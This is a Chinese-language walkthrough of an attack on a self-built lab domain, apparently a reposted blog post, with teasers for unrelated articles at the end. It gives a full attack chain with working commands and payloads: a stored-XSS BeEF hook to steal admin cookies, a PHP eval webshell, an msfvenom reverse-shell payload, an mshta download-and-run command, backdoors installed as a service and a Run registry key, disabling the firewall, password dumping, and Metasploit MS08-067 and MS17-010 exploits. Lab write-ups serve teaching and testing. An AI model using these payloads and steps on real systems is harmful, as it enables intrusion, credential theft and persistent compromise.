记一次自建靶场域渗透过程

news2024/11/23 12:15:29

为方便您的阅读,可点击下方蓝色字体,进行跳转↓↓↓

  • 01 环境搭建
  • 02 外网突破
  • 03 权限提升并维持
    • (1)获取 meterpreter 会话
    • (2)尝试开启远程桌面
    • (3)Msf 派生 Cobalt Strike shell
    • (4)Cobalt Strike 制作 Powersehll 反弹 Shell<br>
    • (5)后门程序植入
  • 04 横向移动
    • (1)Cobalt Strike 获得域控权限
    • (2)msf 内网利用
    • (3)持续内网攻击

01 环境搭建


自建靶场拓扑如下图所示:

在这里插入图片描述

具体主机配置信息如下表所示:

在这里插入图片描述
主机配置完成后,连通性测试满足以下三点:

1、Windows 7 能连通所有主机,但所有主机都不与 Windows 7 连通。

2、Windows Server 2003 和 Windows Server 2008 相互连通。

3、Windows 7 上用 phpStudy 开启 Web 服务后,浏览器访问 127.0.0.1 能访问到 PhpStudy 探针页面。


02 外网突破


Kali 攻击机上使用系统自带的 Nmap 进行目标开放端口探测,执行命令为 nmap -T4 -A 192.168.40.133,从执行扫描后的结果可以清楚得知目标服务器192.168.40.133 开放了 80 端口

在这里插入图片描述

访问 http://192.168.40.133/yxcms/页面,浏览网页相关消息,留言本模块中留言内容部分插入 xss 测试代码<script>alert(1)</script>

在这里插入图片描述


模拟管理员登入后台查看留言管理,发现出现弹框

在这里插入图片描述

确定网站存在存储型 XXS 后,计划利用 beef-xss 的 hook 功能模块获取后台管理员的cookie消息。首先Kali攻击机启动beef-xss,修改登录密码为jkxy@123

在这里插入图片描述

访问 beef-xss 的 web 管理界面:http://127.0.0.1:3000/ui/panel,使用账号密码 beef/jkxy@123 成功登录

在这里插入图片描述

使用 beef 平台生成的 hook 进行 XSS 攻击,在留言本中发布一个带 hook 的评论

在这里插入图片描述

模拟后台管理员进行内容审核操作

在这里插入图片描述

在 Kali 攻击机上登录 beef,这里可以看到被勾连的浏览器,我们获得了其登录的 URL 和 cookie

在这里插入图片描述
利 用 Burp Suite 代 理 工 具 , 抓 取 管 理 员 后 台 登 录 时 的 请 求 包 , 在Proxy—>Option—>Match and Replace 板块添加一个规则:^Cookie.*$,其中Cookie 填入 beef-xss 中获取的 cookie 消息,添加好后把 enabled 勾上,这样每次经过 burp 的请求都是固定的 cookie。

在这里插入图片描述

使用浏览器重新访问后台网站,发现直接登录后台管理页面

在这里插入图片描述
成功登录 CMS管理员后台后,找到模板编辑处,往 index_index.php 中,插入一句话:

<?php eval($_POST["jkxy"]);?>

在这里插入图片描述

中国蚁剑连接 http://192.168.239.202/yxcms/index.php,使用 ipconfig 命令进行虚拟终端功能测试,发现能成功返回 Windows 7 服务器 IP 地址192.168.40.133

在这里插入图片描述
测试中国蚁剑文件管理功能,发现成功回显 webshell 所在目录C:/phpStudy/WWW/yxcms/public,说明中国蚁剑成功连接 webshell

在这里插入图片描述
在这里插入图片描述
至此攻击者通过存储型XSS至getshell,成功获取边界Web服务器权限。


03 权限提升并维持


获得了 Windows 7 边界服务器的 webshell 后,利用该 webshell进行权限提升并维持操作。

(1)获取 meterpreter 会话

Kali 攻击机中利用 msfvenom 模块生成木马,执行命令 生成一个木马程序,同时 msf 开启监听模块

msfvenom -p Windows/meterpreter/reverse_tcp lhost=192.168.40.131 lport=6666 -f exe 
-o shell.exe

在这里插入图片描述
在这里插入图片描述
用蚁剑将木马上传至 Windows 7 中的C:/phpStudy/WWW/yxcms/public 目录

在这里插入图片描述
利用蚁剑虚拟终端进入 C:/phpStudy/WWW/yxcms/public 目录下执行木马

在这里插入图片描述
此时查看 msf 监听内容,发现返回 meterpreter 的shell,并利用 getsystem,成功提权到 system 权限

在这里插入图片描述

(2)尝试开启远程桌面

获取 meterpreter 会话并提权至 system 权限后,可以尝试使用命令开启远程桌面,维持控制

 run post/Windows/manage/enable_rdp

在这里插入图片描述
Kali 攻击机中使用命令 rdesktop 192.168.40.133 尝试远程连接服务器,成功进入远程登录界面

在这里插入图片描述
在这里插入图片描述

发现缺少登录账号,于是使用中国蚁剑添加用户,并将其加入管理员组,执行命令如下

net user jkxy mjxy@314159/add
net localgroup administrators jkxy /add
net user jkxy

在这里插入图片描述
使用新创建的用户 jkxy/mjxy@314159 进行远程桌面登录,用户登录成功,但系统提示:其他用户当前已登录到此计算机。如果继续,则该用户必须断开与此计算机的连接。是否继续。

在这里插入图片描述
模拟 Windows 7 用户查看桌面情况,发现系统提示:STu1yikxy 要连接到该计算机。请单击“确定”立即断开您的会话连接或单击“取消”保持连接状态。否则,您将在 30 秒后被断开。

在这里插入图片描述


(3)Msf 派生 Cobalt Strike shell

打开 Cobalt Strik,先打开服务端,执行命令./teamserver 192.168.40.131 jkxy@123 启动,其中第一个参数是地址,第二个参数是密码,地址是我们本机的地址,密码任意设置,这里为jkxy@123

在这里插入图片描述


接着输入命令启动客户端 Java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar,密码就填刚刚的 jkxy@123

在这里插入图片描述
启动后的界面如下图所示:

在这里插入图片描述

进入该界面后首先需要创建一个 listener,点击左上角的 cobaltstrike->listeners,此时会在下方显示一个 listeners 窗口,点击add 添加新的 listener,而后点击 save 保存

在这里插入图片描述

退回到 msf 中,利用注入模块将 shell 派生到 Cobalt Strike 中

在这里插入图片描述
再次回到 Cobalt Strike中肉鸡便上线了
在这里插入图片描述
拿到 Cobalt Strikeshell 后,一般先将回显时间由默认的 60s 改成 1s,Cobalt Strike 的 shell,执行 Windows 的命令时,只需要在命令前加 shell 即可。


(4)Cobalt Strike 制作 Powersehll 反弹 Shell

添加一个用于接收 beacon 的 listener CobaltStrike_beacon,并制作木马,生成攻击链接。

在这里插入图片描述
在这里插入图片描述

这条链接就是用于执行本次攻击的链接,接着用蚁剑直接执行命令:
mshta http://192.168.40.133:80/download/file.ext

在这里插入图片描述


执行后,此时切换回 Kali 攻击机便能直观观察到肉鸡已经上线。

在这里插入图片描述

目前,我们已经用 Cobalt Strike 拿到了两个 Windows 7 的 shell,接着新建一个监听端口并选择其中一个 shell 进行漏洞提权。

在这里插入图片描述
在这里插入图片描述

稍等片刻后,发现提权成功

在这里插入图片描述

(5)后门程序植入

在渗透过程中拿到目标系统权限只是开始,如果管理员修复了漏洞,权限就丢失了,这时候要想持续在内网进行渗透就需要权限维持。接下来通过开机启动项和注册表进行进一步权限维持。计划通过 service 留自启动后门,生成一个 exe 后门。

首先创建一个监听 cs_back_door 专门用于后门程序的监听;

在这里插入图片描述


然后Cobalt Strike 中依次点击 Attacks->packages->Windows executable,点击genetrate 后保存即可

在这里插入图片描述

接着 Cobalt Strike 中右键 explore>file browser,选择我们想要的路径,这里以 C:\Windows 为例,把生成的 exe 程序上传到 Windows 7

在这里插入图片描述
然后如在 bean 中输入以下命令

shell sc create "server power" binpath= "C:\Windows\artifact.exe"(创建项及路径)
shell sc description "server power" "description"(设置服务的描述字符串)
shell sc config "server power" start= auto(设置服务为自启动)
shell net start "server power"(启动服务)

在这里插入图片描述
模拟 Windows 7 用户查看服务项,可以看到 server power 项

在这里插入图片描述
可见这个 exe 是设置有效的,接下来重启目标机器

在这里插入图片描述
机器重启完毕之后,Cobalt Strike 又自动获取了控制权,持续时间最短的那个就是重启后自动获得的

在这里插入图片描述
除此之外,也可以直接向注册表写开机启动项,同样是上一步生成的木马程序在 bean 中输入命令

shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "keyname" /t REG_SZ /d 
42
"C:\Windows\artifact.exe" /f

执行命令成功界面如图所示

在这里插入图片描述
切换到靶机,打开注册表 regedit.exe,在对应的路径下找到了该项,那么也就是说我们已经成功写入注册表的自启动项了

在这里插入图片描述

04 横向移动

(1)Cobalt Strike 获得域控权限

进行权限维持之后,我们开始进行内网的横向移动。首先我们发现防火墙开启,而后利用命令关闭防火墙,命令如下:

shell netsh firewall show state;
shell netsh advfirewall set allprofiles state off

是命令成功执行界面如下图所示:

在这里插入图片描述
接着使用命令 net view 获取域内目标

在这里插入图片描述


切换到 Targets 模块中查看局域网内的情况。可以看到目标中,name 分三块:STU1 也就是我们已获得权限的 Windows 7 边界服务器,域内还有两台 OWA 和 ROOT-TVI862UBEH
![在这里插入图片描述](https://img-blog.csdnimg.cn/5870d00d611b4eb29ccbcc47975fe2ce.png#pic_center) 了解域内大概情况后,先利用 Cobalt Strike 的 beacon 使用 hashdump 命令抓取 Windows 7 中的密码

在这里插入图片描述

接着使用 logonpasswords 查看明文消息,

在这里插入图片描述

执行完后,查看凭证,发现域控用户 Administrator 的密码为44jkxy@3.14159,如图 。

在这里插入图片描述
明确域控管理员账号后,尝试对域控进行攻击。首先增加一个 smb listener

在这里插入图片描述

在 target 列表中选择 name 为 OWA 的主机,右键 jump->psexec

在这里插入图片描述

填入用户名密码,选择刚刚创建的 Listener,选择 System 的那个 Session

在这里插入图片描述

点击 Lauch成功拿到域控权限,如图。

在这里插入图片描述
使用同样的方式攻击另一台域内主机,Listener 选择 smb_2,Session 选则刚拿到的域控会话

在这里插入图片描述

攻击后目标主机成功上线,现拿到三台 sysytem 权限服务器

在这里插入图片描述

(2)msf 内网利用

在 Cobalt Strike 中获取三台主机权限后,利用隧道把 msf 代理到内网利用,尝试继续内网横向渗透。


首先在 beacon shell 中输入 socks 1234,1234 为端口,我们可以随意设置,只要不冲突就行

在这里插入图片描述

接着点击 Cobalt Strike 菜单上的 view->proxy pivots

在这里插入图片描述


可以看到代理的情况,然后点击下方的tunnel,会出现一条命令

在这里插入图片描述
Kali 攻击机上启动 msf,把上一步复制的命令粘贴进来,这样就把 msf 代理到内网中去了,接下来就可以使用 msf 继续对内网中的机器进行渗透

在这里插入图片描述

在 meterpreter 中使用 run get_local_subnets 查看本地路由消息发现存在192.168.40.0 段和 192.168.52.0 段,其中 40 为公网网段、52 为内网网段。

在这里插入图片描述

接着使用命令 run autoroute -s 192.168.52.0/24 添加路由,使得 MSF 能够通过 Windows 7 路由转发访问 192.168.52.0 网段。在 meterpreter中使用 run post/Windows/gather/arp_scanner Rhost 192.168.52.0/24 扫描 52网段,发现同网段内仅有三台主机,且为 Cobalt Strike 拿下的三台 system 权限主机。

在这里插入图片描述

(3)持续内网攻击

继续使用 msf 进行内网渗透测试,还发现以下可利用漏洞模块部分

1、MS08-067

使用 MS08-067 攻击模块攻击内网主机,Kali 攻击机中执行命令如下:

msfconsole
setg proxies socks4: 127.0.0.1:1234
use Windows/smb/ms08_067_netapi
set rhost 192.168.52.141
set lport 4444
run

发现 192.168.52.141 主机存在该漏洞,成功利用该漏洞获取目标系统权限

在这里插入图片描述



2、RPC DCOM 服务漏洞

使用 RPC DCOM 攻击模块攻击内网主机,Kali 攻击机中执行命令如下:

msfconsole
setg proxies socks4: 127.0.0.1:1234
use Windows/dcerpc/ms03_026_dcom
set rhost 192.168.52.141
set lport 135
set payload Windows/meterpreter/bind_tcp
run

发现 192.168.52.141 主机存在该漏洞,成功利用该漏洞获取目标系统权限

在这里插入图片描述


(3)MS17-010

使用 MS17-010 攻击模块攻击内网主机,Kali 攻击机中执行命令如下:

msfconsole
setg proxies socks4: 127.0.0.1:1234
exploit/Windows/smb/ms17_010_eternalblue
set payload Windows/x64/meterpreter/bind_tcp
set RHOST 192.168.40.141
run

发现 192.168.52.141 主机存在该漏洞,成功利用该漏洞使目标主机蓝屏

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/717005.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

TinyStories: How Small Can Language Models Be and Still Speak Coherent English?

本文是LLM系列的文章之一&#xff0c;针对《TinyStories: How Small Can Language Models Be and Still Speak Coherent English?》的翻译。 TinyStories&#xff1a;语言模型能有多小&#xff0c;还能说连贯的英语&#xff1f; 摘要1 引言2 TinyStories数据集的描述2.1 Tiny…

<td>标签内的文字内容换行显示

修改前&#xff1a; 修改后&#xff1a; 代码&#xff1a; table tr td{ word-WRAP: break-word }

CI-持续集成 — 软件工业“流水线”技术实现

1 概述 持续集成&#xff08;Continuous Integration&#xff09;是一种软件开发实践。在本系列文章的前一章节已经对其背景及理论体系进行了介绍。本小节则承接前面提出的理论构想进行具体的技术实现。 《Google软件测试之道》: "每天&#xff0c;Google都要测试和发…

(模拟) 463. 岛屿的周长 ——【Leetcode每日一题】

❓ 463. 岛屿的周长 难度&#xff1a;简单 给定一个 row x col 的二维网格地图 grid &#xff0c;其中&#xff1a;grid[i][j] 1 表示陆地&#xff0c;grid[i][j] 0 表示水域。 网格中的格子 水平和垂直 方向相连&#xff08;对角线方向不相连&#xff09;。整个网格被水完…

前端Vue自定义可自由滚动精美tabs选项卡标签栏标题栏 可设置背景颜色,

前端Vue自定义可自由滚动精美tabs选项卡标签栏标题栏 可设置背景颜色&#xff0c; 下载完整代码请访问uni-app插件市场地址&#xff1a;https://ext.dcloud.net.cn/plugin?id13313 效果图如下&#xff1a; # cc-scrollTag #### 使用方法 使用方法 <!-- tabChange: tab选…

Vue指令--v-bind、v-model、v-on

常见指令--v-bind/model/on 指令&#xff1a;HTML标签中带有v-前缀的特殊属性&#xff0c;不同指令具有不同含义。例如&#xff1a;v-if&#xff0c;v-for..常见指令 指令 作用 v-bind为HTML标签绑定属性值&#xff0c;如设置href、css样式等v-model在表单元素上创建双向数据…

【网络原理之二】网络层的IP协议、数据链路层的以太协议和MTU

网络层协议IP协议IP协议格式IP地址IPV4IPV6 IP地址规则-地址管理路由选择 数据链路层协议以太网协议协议格式 MTU(最大传输单元)MTU对IP协议的影响MTU对UDP协议的影响MTU对TCP协议的影响 开放性问题 网络层协议 IP协议 IP协议格式 4位版本号(version)&#xff1a;指定IP协议的…

12-Vue的diff算法

参考回答&#xff1a; 当组件创建和更新时&#xff0c;vue均会执行内部的update函数&#xff0c;该函数使用render函数生成的虚拟dom树&#xff0c;将新旧两树进行对比&#xff0c;找到差异点&#xff0c;最终更新到真实dom对比差异的过程叫diff&#xff0c;vue在内部通过一个叫…

ChatGPT系统源码,全开源支持二开!

ChatGPT是开发的大语言模型之一&#xff0c;具备多领域知识&#xff0c;并且可以提供个性化、准确和有趣的答案&#xff0c;无论是在娱乐、教育还是工作中&#xff0c;都可以帮助我们解决问题、获取信息和提供建议。 技术架构 使用流行的技术栈PHP8、TypeScript、ThinkPHP6、…

7.3基础概念/文件、文件路径/batch_size,length,total/acc、loss计算/ect

一、 一些基础术语&#xff1a; util是utility的缩写&#xff0c;意思为实用工具。一般用于描述和业务逻辑没有关系的数据处理分析工具。 logger &#xff1a;日志 meter : 记录表 使用下划线 _ 表示不需要的变量是一种常见的开发者的约定&#xff0c;&#xff08;Python 解释…

SpringBoot3 事件和监听器

1. 生命周期监听 场景&#xff1a;监听应用的 生命周期 1. 监听器-SpringApplicationRunListener 自定义SpringApplicationRunListener来监听事件&#xff1b; 编写SpringApplicationRunListener 实现类在 META-INF/spring.factories 中配置 org.springframework.boot.SpringA…

【数据挖掘】时间序列教程【八】

4.4 时间混淆 我们先考虑一个简单的线性回归模型, 哪里 和是具有平均值的高斯过程00和自协方差 .现在,在不失去一般性的情况下,让我们假设 而那瓦尔

【UGUI控件全面解析】 教程专栏目录贴

&#x1f3ac;【UGUI控件全面解析】 教程专栏目录贴&#x1f431;‍&#x1f3cd;UGUI系列内容介绍&#x1f381;文章内容结构介绍 &#x1f4af;总结 &#x1f3ac; 博客主页&#xff1a;https://xiaoy.blog.csdn.net &#x1f3a5; 本文由 呆呆敲代码的小Y 原创&#xff0c;…

“金九银十”和秋招通过率达 95% 的 Java 面试要点集锦

前言 这才刚刚进入 7 月&#xff0c;我就看到了许多朋友在焦急的准备“金九银十”跳槽面试&#xff0c;甚至很多即将毕业的大学生都在备战秋招&#xff0c;对于学历还算优秀的大学生来说&#xff0c;这是一次离大厂最近的机会&#xff0c;毕竟是应届毕业生&#xff0c;不会对技…

Selenium Wire编辑header破解反爬机制和访问限制

一、selenium Wire介绍 介绍 Selenium Wire扩展了Selenium的Python绑定&#xff0c;使您能够访问浏览器发出的底层请求。您已使用Selenium相同的方式编写代码&#xff0c;但是您获得了额外的api&#xff0c;用于检查请求和响应&#xff0c;并动态地对它们进行更改。&#xff08…

oracle 基础1

目录 Oracle表空间-创建 Oracle表空间-删除 Oracle常用用户 Oracle常用角色 Oracle用户创建 Oracle常用数据类型 Oracle表创建 Oracle增删改查 Oracle表常见约束 0.oracle手动开启方式 1.Oracle 表空间-创建 plsql登录system用户 新建sql窗口 创建表空间 2.Oracle表…

化亿级海量于秒级瞬间:大表关联计算提速

5G 时代&#xff0c;意味着数据通信将会拥有更高的速率、更大的容量和更低的时延。随着数据量的爆发式增长&#xff0c;对海量数据存储和实时分析成为数据淘金者的刚需&#xff0c;数据量暴增导致数据间的关联分析也越来越频繁。如何快速对数据进行分析&#xff0c;并获取其中有…

Jmeter接口测试参数化详解

目录 前言&#xff1a; RandomString函数 CSVRead函数 CSV Data Set Config配置元件 前言&#xff1a; 在进行接口测试时&#xff0c;参数化是一项重要的技术&#xff0c;可以帮助测试人员有效地模拟不同的场景和数据&#xff0c;增加测试用例的覆盖范围。JMeter提供了多种…

2023 年 10 大前端发展趋势

新技术的出现和老技术的淘汰让前端开发者们需要不断地学习和更新知识。特别是在经济不好的情况下&#xff0c;是否掌握新的技术很大程度决定着你是否被淘汰。 虽然应用程序试图将网站替代&#xff0c;但前端 Web 开发业务仍在快速变化和增长&#xff0c;前端开发人员的功能并没…

Debezium系列之:支持数据库存储系统,把ddl信息存储到数据库表中

Debezium系列之:支持数据库存储系统,把ddl信息存储到数据库表中 一、需求背景二、实现的效果三、核心参数四、创建存储ddl表五、创建采集表六、完整配置七、提交connector八、插入数据九、查看ddl数据十、修改表结构十一、清空存储ddl表十二、总结和延展一、需求背景 目前deb…